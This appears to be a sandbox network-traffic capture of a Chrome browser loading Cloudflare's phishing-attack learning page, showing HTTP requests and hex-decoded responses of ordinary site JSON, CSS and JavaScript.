2024-10-18 13:48:10 UTC	1369	IN	Data Raw: 23 6f 6e 65 74 72 75 73 74 2d 62 61 6e 6e 65 72 2d 73 64 6b 20 68 33 2c 23 6f 6e 65 74 72 75 73 74 2d 62 61 6e 6e 65 72 2d 73 64 6b 20 68 34 2c 23 6f 6e 65 74 72 75 73 74 2d 62 61 6e 6e 65 72 2d 73 64 6b 20 68 35 2c 23 6f 6e 65 74 72 75 73 74 2d 62 61 6e 6e 65 72 2d 73 64 6b 20 68 36 2c 23 6f 6e 65 74 72 75 73 74 2d 62 61 6e 6e 65 72 2d 73 64 6b 20 70 2c 23 6f 6e 65 74 72 75 73 74 2d 62 61 6e 6e 65 72 2d 73 64 6b 20 69 6d 67 2c 23 6f 6e 65 74 72 75 73 74 2d 62 61 6e 6e 65 72 2d 73 64 6b 20 73 76 67 2c 23 6f 6e 65 74 72 75 73 74 2d 62 61 6e 6e 65 72 2d 73 64 6b 20 62 75 74 74 6f 6e 2c 23 6f 6e 65 74 72 75 73 74 2d 62 61 6e 6e 65 72 2d 73 64 6b 20 73 65 63 74 69 6f 6e 2c 23 6f 6e 65 74 72 75 73 74 2d 62 61 6e 6e 65 72 2d 73 64 6b 20 61 2c 23 6f 6e 65 74 72 Data Ascii: #onetrust-banner-sdk h3,#onetrust-banner-sdk h4,#onetrust-banner-sdk h5,#onetrust-banner-sdk h6,#onetrust-banner-sdk p,#onetrust-banner-sdk img,#onetrust-banner-sdk svg,#onetrust-banner-sdk button,#onetrust-banner-sdk section,#onetrust-banner-sdk a,#onetr
2024-10-18 13:48:10 UTC	1369	IN	Data Raw: 6f 6b 69 65 2d 70 6f 6c 69 63 79 20 73 70 61 6e 2c 23 6f 74 2d 73 64 6b 2d 63 6f 6f 6b 69 65 2d 70 6f 6c 69 63 79 20 68 31 2c 23 6f 74 2d 73 64 6b 2d 63 6f 6f 6b 69 65 2d 70 6f 6c 69 63 79 20 68 32 2c 23 6f 74 2d 73 64 6b 2d 63 6f 6f 6b 69 65 2d 70 6f 6c 69 63 79 20 68 33 2c 23 6f 74 2d 73 64 6b 2d 63 6f 6f 6b 69 65 2d 70 6f 6c 69 63 79 20 68 34 2c 23 6f 74 2d 73 64 6b 2d 63 6f 6f 6b 69 65 2d 70 6f 6c 69 63 79 20 68 35 2c 23 6f 74 2d 73 64 6b 2d 63 6f 6f 6b 69 65 2d 70 6f 6c 69 63 79 20 68 36 2c 23 6f 74 2d 73 64 6b 2d 63 6f 6f 6b 69 65 2d 70 6f 6c 69 63 79 20 70 2c 23 6f 74 2d 73 64 6b 2d 63 6f 6f 6b 69 65 2d 70 6f 6c 69 63 79 20 69 6d 67 2c 23 6f 74 2d 73 64 6b 2d 63 6f 6f 6b 69 65 2d 70 6f 6c 69 63 79 20 73 76 67 2c 23 6f 74 2d 73 64 6b 2d 63 6f 6f 6b Data Ascii: okie-policy span,#ot-sdk-cookie-policy h1,#ot-sdk-cookie-policy h2,#ot-sdk-cookie-policy h3,#ot-sdk-cookie-policy h4,#ot-sdk-cookie-policy h5,#ot-sdk-cookie-policy h6,#ot-sdk-cookie-policy p,#ot-sdk-cookie-policy img,#ot-sdk-cookie-policy svg,#ot-sdk-cook

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.8	50757	104.16.124.96	443	4784	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-18 13:48:09 UTC	900	OUT	GET /page-data/sq/d/1048862057.json HTTP/1.1 Host: www.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc; OptanonConsent=isGpcEnabled=0&datestamp=Fri+Oct+18+2024+09%3A48%3A08+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=132bfd33-5771-4703-bbd3-88270fe7a4d7&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F
2024-10-18 13:48:10 UTC	965	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 13:48:10 GMT Content-Type: application/json; charset=utf-8 Transfer-Encoding: chunked Connection: close Cache-Control: public, max-age=0, must-revalidate ETag: W/"e1742768bd4bb8a3fda0077f1c6c52ab" Strict-Transport-Security: max-age=31536000; includeSubDomains Permissions-Policy: geolocation=(), camera=(), microphone=() Referrer-Policy: strict-origin-when-cross-origin X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN X-GWW-LOC: EN-US X-PGS-LOC: EN-US X-XSS-Protection: 1; mode=block Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4TfJWRfRbez8HaVpJjeUGirLgc0T3S4I%2FZJnTpZWzIkVayTQH6Q0QcM%2FZu0zfP4nf3c7%2FTSaKWbGfA%2FaUmP1Q4PrAUiq1quhk4WK1pgptFdZC6D12unNjaYzEPEI8uLs0qJwWg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d48fc02cf8b3462-DFW alt-svc: h3=":443"; ma=86400
2024-10-18 13:48:10 UTC	158	IN	Data Raw: 39 38 0d 0a 7b 22 64 61 74 61 22 3a 7b 22 73 69 74 65 22 3a 7b 22 73 69 74 65 4d 65 74 61 64 61 74 61 22 3a 7b 22 74 61 72 67 65 74 45 6e 76 22 3a 22 70 72 6f 64 75 63 74 69 6f 6e 22 2c 22 63 6f 72 65 41 70 69 56 31 22 3a 22 68 74 74 70 73 3a 2f 2f 61 70 69 2e 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 70 69 2f 76 31 22 2c 22 62 61 73 65 55 52 4c 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 22 7d 7d 7d 7d 0d 0a Data Ascii: 98{"data":{"site":{"siteMetadata":{"targetEnv":"production","coreApiV1":"https://api.www.cloudflare.com/api/v1","baseURL":"https://www.cloudflare.com"}}}}
2024-10-18 13:48:10 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.8	50754	104.16.124.96	443	4784	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-18 13:48:09 UTC	900	OUT	GET /page-data/sq/d/3199558980.json HTTP/1.1 Host: www.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc; OptanonConsent=isGpcEnabled=0&datestamp=Fri+Oct+18+2024+09%3A48%3A08+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=132bfd33-5771-4703-bbd3-88270fe7a4d7&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F
2024-10-18 13:48:10 UTC	961	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 13:48:10 GMT Content-Type: application/json; charset=utf-8 Transfer-Encoding: chunked Connection: close Cache-Control: public, max-age=0, must-revalidate ETag: W/"8692ff46359ceb525b3d6c22fcf120c3" Strict-Transport-Security: max-age=31536000; includeSubDomains Permissions-Policy: geolocation=(), camera=(), microphone=() Referrer-Policy: strict-origin-when-cross-origin X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN X-GWW-LOC: EN-US X-PGS-LOC: EN-US X-XSS-Protection: 1; mode=block Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=f%2BH9UzVkz31O79nyDBkY53a9wHbIkPtAd1Pt88RJxEFhtIXo6CY0Nf98HPzNmsbDZF4j7URw8gVfswIlIbj7ohVm357ez2EqSqPCcYaaMLpC%2BSHo19nL9vryc3cOu7VCd33cmw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d48fc02dab46bce-DFW alt-svc: h3=":443"; ma=86400
2024-10-18 13:48:10 UTC	408	IN	Data Raw: 36 39 33 0d 0a 7b 22 64 61 74 61 22 3a 7b 22 6d 72 6b 43 6f 6e 66 69 67 47 6c 6f 62 61 6c 56 61 72 69 61 62 6c 65 73 22 3a 7b 22 6a 73 6f 6e 5f 76 61 6c 75 65 73 22 3a 7b 22 48 54 54 50 52 65 71 75 65 73 74 73 22 3a 36 30 2c 22 43 6f 75 6e 74 72 79 43 6f 75 6e 74 22 3a 31 32 30 2c 22 50 61 72 74 6e 65 72 43 6f 75 6e 74 22 3a 22 35 30 30 30 2b 22 2c 22 42 69 7a 41 6e 6e 75 61 6c 52 61 74 65 22 3a 7b 22 74 79 70 65 22 3a 22 75 6e 69 74 22 2c 22 76 61 6c 75 65 22 3a 32 34 30 30 2c 22 66 6f 72 6d 61 74 22 3a 22 43 75 72 72 65 6e 63 79 22 7d 2c 22 42 69 7a 4d 6f 6e 74 68 6c 79 52 61 74 65 22 3a 7b 22 74 79 70 65 22 3a 22 75 6e 69 74 22 2c 22 76 61 6c 75 65 22 3a 32 30 30 2c 22 66 6f 72 6d 61 74 22 3a 22 43 75 72 72 65 6e 63 79 22 7d 2c 22 50 72 6f 41 6e 6e 75 Data Ascii: 693{"data":{"mrkConfigGlobalVariables":{"json_values":{"HTTPRequests":60,"CountryCount":120,"PartnerCount":"5000+","BizAnnualRate":{"type":"unit","value":2400,"format":"Currency"},"BizMonthlyRate":{"type":"unit","value":200,"format":"Currency"},"ProAnnu
2024-10-18 13:48:10 UTC	1282	IN	Data Raw: 75 6e 74 22 3a 33 33 30 2c 22 4e 65 74 77 6f 72 6b 43 61 70 61 63 69 74 79 22 3a 22 32 39 36 20 54 62 70 73 22 2c 22 44 4e 53 51 75 65 72 69 65 73 50 65 72 44 61 79 22 3a 33 2e 34 2c 22 4e 65 74 77 6f 72 6b 43 61 70 61 63 69 74 79 56 32 22 3a 7b 22 74 79 70 65 22 3a 22 75 6e 69 74 22 2c 22 76 61 6c 75 65 22 3a 32 39 36 2c 22 66 6f 72 6d 61 74 22 3a 22 54 65 72 61 62 69 74 73 50 65 72 53 65 63 6f 6e 64 53 68 6f 72 74 22 7d 2c 22 47 6c 6f 62 61 6c 57 65 62 73 69 74 65 43 6f 75 6e 74 22 3a 32 35 30 30 30 30 30 30 2c 22 48 54 54 50 52 65 71 75 65 73 74 73 41 74 50 65 61 6b 22 3a 38 31 2c 22 57 41 46 52 75 6c 65 73 46 69 72 65 64 50 65 72 44 61 79 22 3a 34 34 34 35 32 38 30 30 30 2c 22 43 68 69 6e 61 44 61 74 61 43 65 6e 74 65 72 43 6f 75 6e 74 22 3a 33 30 2c Data Ascii: unt":330,"NetworkCapacity":"296 Tbps","DNSQueriesPerDay":3.4,"NetworkCapacityV2":{"type":"unit","value":296,"format":"TerabitsPerSecondShort"},"GlobalWebsiteCount":25000000,"HTTPRequestsAtPeak":81,"WAFRulesFiredPerDay":444528000,"ChinaDataCenterCount":30,
2024-10-18 13:48:10 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.8	50758	104.16.124.96	443	4784	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-18 13:48:09 UTC	899	OUT	GET /page-data/sq/d/333361657.json HTTP/1.1 Host: www.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc; OptanonConsent=isGpcEnabled=0&datestamp=Fri+Oct+18+2024+09%3A48%3A08+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=132bfd33-5771-4703-bbd3-88270fe7a4d7&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F
2024-10-18 13:48:10 UTC	971	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 13:48:10 GMT Content-Type: application/json; charset=utf-8 Transfer-Encoding: chunked Connection: close Cache-Control: public, max-age=0, must-revalidate ETag: W/"c6e0a852e4e9f65b70005a776f237c0d" Strict-Transport-Security: max-age=31536000; includeSubDomains Permissions-Policy: geolocation=(), camera=(), microphone=() Referrer-Policy: strict-origin-when-cross-origin X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN X-GWW-LOC: EN-US X-PGS-LOC: EN-US X-XSS-Protection: 1; mode=block Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Mv3Gy8ySrt%2BNfQxQA3LwjYLwIPA70fYHsKhj5Hd9BfR8XX3YOHN%2Bg7oh76ujRqqjUsXsKdvjN5y4rqPRVuY%2BMlLU%2Beax93A%2Bi81E7%2FPHNBtbfAit84yXIRwH9W%2BLV1ulDnbroA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d48fc02ee1b4612-DFW alt-svc: h3=":443"; ma=86400
2024-10-18 13:48:10 UTC	398	IN	Data Raw: 33 32 39 0d 0a 7b 22 64 61 74 61 22 3a 7b 22 77 65 63 68 61 74 22 3a 7b 22 69 64 22 3a 22 61 31 30 66 34 31 31 37 2d 38 65 61 36 2d 35 30 33 63 2d 38 32 62 33 2d 62 61 64 63 65 34 32 64 35 39 34 66 22 2c 22 61 6c 74 54 65 78 74 22 3a 22 57 65 43 68 61 74 50 6f 70 75 70 22 2c 22 74 69 74 6c 65 22 3a 22 57 65 43 68 61 74 50 6f 70 75 70 22 2c 22 61 63 74 69 76 65 41 73 73 65 74 22 3a 22 43 6f 6e 74 65 6e 74 66 75 6c 20 41 73 73 65 74 22 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 55 53 22 2c 22 63 6f 6e 74 65 6e 74 66 75 6c 41 73 73 65 74 22 3a 7b 22 66 69 6c 65 22 3a 7b 22 70 75 62 6c 69 63 55 52 4c 22 3a 22 68 74 74 70 73 3a 2f 2f 63 66 2d 61 73 73 65 74 73 2e 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 73 6c 74 33 6c 63 36 74 65 76 33 37 2f 6d Data Ascii: 329{"data":{"wechat":{"id":"a10f4117-8ea6-503c-82b3-badce42d594f","altText":"WeChatPopup","title":"WeChatPopup","activeAsset":"Contentful Asset","locale":"en-US","contentfulAsset":{"file":{"publicURL":"https://cf-assets.www.cloudflare.com/slt3lc6tev37/m
2024-10-18 13:48:10 UTC	418	IN	Data Raw: 74 4d 6f 62 69 6c 65 22 3a 6e 75 6c 6c 7d 2c 22 74 69 6b 74 6f 6b 22 3a 7b 22 69 64 22 3a 22 39 30 37 64 64 39 66 66 2d 35 31 33 30 2d 35 66 36 64 2d 39 38 65 37 2d 63 39 61 39 31 65 63 34 32 34 32 62 22 2c 22 61 6c 74 54 65 78 74 22 3a 22 54 69 6b 74 6f 6b 50 6f 70 75 70 22 2c 22 74 69 74 6c 65 22 3a 22 54 69 6b 74 6f 6b 50 6f 70 75 70 22 2c 22 61 63 74 69 76 65 41 73 73 65 74 22 3a 22 43 6f 6e 74 65 6e 74 66 75 6c 20 41 73 73 65 74 22 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 55 53 22 2c 22 63 6f 6e 74 65 6e 74 66 75 6c 41 73 73 65 74 22 3a 7b 22 66 69 6c 65 22 3a 7b 22 70 75 62 6c 69 63 55 52 4c 22 3a 22 68 74 74 70 73 3a 2f 2f 63 66 2d 61 73 73 65 74 73 2e 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 73 6c 74 33 6c 63 36 74 65 76 33 37 2f Data Ascii: tMobile":null},"tiktok":{"id":"907dd9ff-5130-5f6d-98e7-c9a91ec4242b","altText":"TiktokPopup","title":"TiktokPopup","activeAsset":"Contentful Asset","locale":"en-US","contentfulAsset":{"file":{"publicURL":"https://cf-assets.www.cloudflare.com/slt3lc6tev37/
2024-10-18 13:48:10 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.8	50755	104.16.124.96	443	4784	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-18 13:48:09 UTC	900	OUT	GET /page-data/sq/d/3934964512.json HTTP/1.1 Host: www.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc; OptanonConsent=isGpcEnabled=0&datestamp=Fri+Oct+18+2024+09%3A48%3A08+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=132bfd33-5771-4703-bbd3-88270fe7a4d7&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F
2024-10-18 13:48:10 UTC	965	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 13:48:10 GMT Content-Type: application/json; charset=utf-8 Transfer-Encoding: chunked Connection: close Cache-Control: public, max-age=0, must-revalidate ETag: W/"bb653e0ba7849e21beb0822fe2db0bd5" Strict-Transport-Security: max-age=31536000; includeSubDomains Permissions-Policy: geolocation=(), camera=(), microphone=() Referrer-Policy: strict-origin-when-cross-origin X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN X-GWW-LOC: EN-US X-PGS-LOC: EN-US X-XSS-Protection: 1; mode=block Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=P1VeQQZM0ZXceZiur7ZBoPB1c54yk5Kkr8DxB6JG5i%2BzMG99u%2FQHkL4MsBrGfPyGEBbntWQWVFfYm2bEwjrm0HC%2FgK2ZhSbLQCdfapK91sI%2FOzJxLroLcesTMymo5679kSZQ9Q%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d48fc02eea24620-DFW alt-svc: h3=":443"; ma=86400
2024-10-18 13:48:10 UTC	404	IN	Data Raw: 34 36 66 0d 0a 7b 22 64 61 74 61 22 3a 7b 22 67 72 61 79 22 3a 7b 22 69 64 22 3a 22 36 37 37 37 35 63 36 64 2d 38 37 62 64 2d 35 61 32 34 2d 61 39 34 37 2d 33 35 31 38 39 30 32 63 35 30 38 31 22 2c 22 61 6c 74 54 65 78 74 22 3a 22 47 6f 6f 67 6c 65 20 43 6c 6f 75 64 20 50 6c 61 74 66 6f 72 6d 20 2d 20 47 43 50 20 47 72 61 79 20 4c 6f 67 6f 22 2c 22 74 69 74 6c 65 22 3a 22 47 6f 6f 67 6c 65 20 43 6c 6f 75 64 20 50 6c 61 74 66 6f 72 6d 20 2d 20 47 43 50 20 47 72 61 79 20 4c 6f 67 6f 22 2c 22 61 63 74 69 76 65 41 73 73 65 74 22 3a 22 43 6f 6e 74 65 6e 74 66 75 6c 20 41 73 73 65 74 22 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 55 53 22 2c 22 63 6f 6e 74 65 6e 74 66 75 6c 41 73 73 65 74 22 3a 7b 22 66 69 6c 65 22 3a 7b 22 70 75 62 6c 69 63 55 52 4c 22 3a 22 68 Data Ascii: 46f{"data":{"gray":{"id":"67775c6d-87bd-5a24-a947-3518902c5081","altText":"Google Cloud Platform - GCP Gray Logo","title":"Google Cloud Platform - GCP Gray Logo","activeAsset":"Contentful Asset","locale":"en-US","contentfulAsset":{"file":{"publicURL":"h
2024-10-18 13:48:10 UTC	738	IN	Data Raw: 22 7d 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 47 6f 6f 67 6c 65 20 43 6c 6f 75 64 20 50 6c 61 74 66 6f 72 6d 20 2d 20 47 43 50 20 47 72 61 79 20 4c 6f 67 6f 20 75 73 65 64 20 61 73 20 61 20 62 75 74 74 6f 6e 20 69 6d 61 67 65 20 6f 6e 20 65 67 72 65 73 73 20 73 61 76 69 6e 67 73 20 63 61 6c 63 75 6c 61 74 6f 72 22 7d 2c 22 62 72 61 6e 64 66 6f 6c 64 65 72 41 73 73 65 74 22 3a 6e 75 6c 6c 2c 22 62 72 61 6e 64 66 6f 6c 64 65 72 41 73 73 65 74 4d 6f 62 69 6c 65 22 3a 6e 75 6c 6c 7d 2c 22 6f 72 61 6e 67 65 22 3a 7b 22 69 64 22 3a 22 65 37 64 64 36 35 36 37 2d 33 30 64 31 2d 35 35 33 34 2d 39 32 31 66 2d 61 61 36 66 30 37 31 33 64 66 34 39 22 2c 22 61 6c 74 54 65 78 74 22 3a 22 47 6f 6f 67 6c 65 20 43 6c 6f 75 64 20 50 6c 61 74 66 6f 72 6d 20 2d 20 47 Data Ascii: "},"description":"Google Cloud Platform - GCP Gray Logo used as a button image on egress savings calculator"},"brandfolderAsset":null,"brandfolderAssetMobile":null},"orange":{"id":"e7dd6567-30d1-5534-921f-aa6f0713df49","altText":"Google Cloud Platform - G
2024-10-18 13:48:10 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.8	50756	104.16.124.96	443	4784	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-18 13:48:09 UTC	934	OUT	GET /a06cff934e9579536ce1c10bad21c1d6d7f63ae0-8b61554ef4c490b779ce.js HTTP/1.1 Host: www.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc; OptanonConsent=isGpcEnabled=0&datestamp=Fri+Oct+18+2024+09%3A48%3A08+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=132bfd33-5771-4703-bbd3-88270fe7a4d7&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F
2024-10-18 13:48:10 UTC	954	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 13:48:10 GMT Content-Type: application/javascript Transfer-Encoding: chunked Connection: close Cache-Control: public, max-age=0, must-revalidate ETag: W/"081276145f73b837bb18c9cb34c4cfce" Strict-Transport-Security: max-age=31536000; includeSubDomains Permissions-Policy: geolocation=(), camera=(), microphone=() Referrer-Policy: strict-origin-when-cross-origin X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN X-GWW-LOC: EN-US X-PGS-LOC: EN-US X-XSS-Protection: 1; mode=block Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=VoABgLKijB%2FYmAjX8d8gbi9lnTmrz5TcxdN%2B1V4cEb6edj0ao5a77sxYJlbH6f5g4kqJNptE773UqVGVnrRwoEaPANTo4Qc9To3V5TChxN5VLkNUICGRBrf%2BsMfKHGahgmReaQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d48fc02e8166bde-DFW alt-svc: h3=":443"; ma=86400
2024-10-18 13:48:10 UTC	415	IN	Data Raw: 32 65 62 64 0d 0a 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 63 6c 6f 75 64 66 6c 61 72 65 5f 6d 72 6b 65 6e 67 5f 72 65 64 77 6f 6f 64 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 63 6c 6f 75 64 66 6c 61 72 65 5f 6d 72 6b 65 6e 67 5f 72 65 64 77 6f 6f 64 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 32 35 33 5d 2c 7b 38 36 31 36 38 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 6e 2e 64 28 74 2c 7b 41 75 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6f 7d 2c 63 53 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6c 7d 7d 29 3b 63 6f 6e 73 74 20 6f 3d 6e 28 39 36 35 34 30 29 2e 63 72 65 61 74 65 43 6f 6e 74 65 78 74 28 7b 7d 29 2c 6c 3d 28 7b 63 68 69 6c 64 72 65 6e 3a 65 7d Data Ascii: 2ebd"use strict";(self.webpackChunk_cloudflare_mrkeng_redwood=self.webpackChunk_cloudflare_mrkeng_redwood\|\|[]).push([[253],{86168:function(e,t,n){n.d(t,{Au:function(){return o},cS:function(){return l}});const o=n(96540).createContext({}),l=({children:e}
2024-10-18 13:48:10 UTC	1369	IN	Data Raw: 2f 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2d 63 6e 2e 63 6f 6d 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 22 3b 66 75 6e 63 74 69 6f 6e 20 69 28 65 2c 74 2c 6e 3d 61 29 7b 63 6f 6e 73 74 20 6f 3d 28 30 2c 6c 2e 6c 31 29 28 74 29 3b 72 65 74 75 72 6e 22 65 6e 2d 75 73 22 3d 3d 3d 65 2e 74 6f 4c 6f 63 61 6c 65 4c 6f 77 65 72 43 61 73 65 28 29 7c 7c 65 2e 74 6f 4c 6f 63 61 6c 65 4c 6f 77 65 72 43 61 73 65 28 29 3d 3d 3d 6c 2e 71 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3f 28 30 2c 72 2e 43 4e 29 28 6e 2c 6f 2c 22 2f 22 29 3a 28 30 2c 72 2e 43 4e 29 28 6e 2c 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 2c 6f 2c 22 2f 22 29 7d 63 6f 6e 73 74 20 63 3d 28 65 2c 74 2c 6e 3d 61 2c 72 3d 6c 2e 49 42 29 3d 3e 5b 2e 2e Data Ascii: /www.cloudflare-cn.com":"https://www.cloudflare.com";function i(e,t,n=a){const o=(0,l.l1)(t);return"en-us"===e.toLocaleLowerCase()\|\|e.toLocaleLowerCase()===l.q.toLowerCase()?(0,r.CN)(n,o,"/"):(0,r.CN)(n,e.toLowerCase(),o,"/")}const c=(e,t,n=a,r=l.IB)=>[..
